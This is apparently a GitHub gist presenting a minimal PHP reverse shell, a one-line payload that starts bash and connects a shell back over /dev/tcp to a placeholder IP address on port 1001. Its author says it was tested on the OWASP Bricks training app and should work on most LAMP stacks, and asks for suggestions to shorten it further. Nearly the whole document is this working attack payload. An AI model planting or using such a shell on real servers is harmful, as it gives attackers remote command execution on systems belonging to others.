S3cr3tHEr0

S3cr3tHEr0 / tiniest_php_reverse_shell.php

Last active June 9, 2019 10:51 — forked from rshipp/shell.php

A tiny PHP/bash reverse shell.

	/*
	This is just a silly attempt to create the tiniest working PHP reverse shell possible.
	It's currently 55 characters, (including 11 chars for the IP Address), but all suggestions to minimise it further are welcome.
	Tested as working on OWASP Bricks, but should work on most LAMP stacks: https://www.owasp.org/index.php/OWASP_Bricks
	*/


	<?=`/bin/bash -c 'sh>&/dev/tcp/IP.XX.XX.XX/1001 0>&1'`;